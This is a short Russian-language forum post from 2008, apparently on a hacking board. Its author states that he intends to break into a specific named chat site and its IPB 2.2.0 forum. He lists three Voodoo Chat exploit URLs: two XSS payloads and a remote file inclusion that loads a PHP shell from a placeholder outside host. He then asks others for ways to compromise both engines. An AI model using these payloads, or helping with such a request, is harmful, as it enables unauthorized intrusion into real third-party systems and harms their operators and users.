Hachick
Сообщений: 10
Оценки: 0
Присоединился: 2008-01-02 11:42:56.463333
|
Привет всем !
решил взломать чат chat-kislovodsk.onio.de,
выяснил что движок voodo chat, затем отыскал на античате 3 уязвимости
1)http://sitename/chat/password_reminder.php?look_for=%3Cscript%3Ealert(/qBiN test/);%3C/script%3E
2)http://sitename.com/[ScriptPath]/index.php?file_path=http://SHELLURL.COM?
3)http://site.com/chat/go.php?url=javascript:alert(/Tested%20by%20qBiN/);
На 2-й я остановился, попробовал подставить вместо шелл.ком адресс левой страницы и вответ ничего не было, ни ошибки, просто пустая страница(адресс реального пхп шела естественно не подставлял)! Подолбившись об чат нашел только адресс админки( …onio.de/admin) и полез на форум.
Это IPB 2.2.0.Посмотрел список уязвимостей на секлабе и прочих ресурсах, но ничего дельного не нашел!
Кто знает помогите по-братски советом или опытом, как вздрючить эти два "несгибаемые" движка!
Неужели никто с ipb, не сталкивался? я в шоке
|
Как взломать чат и форум - 
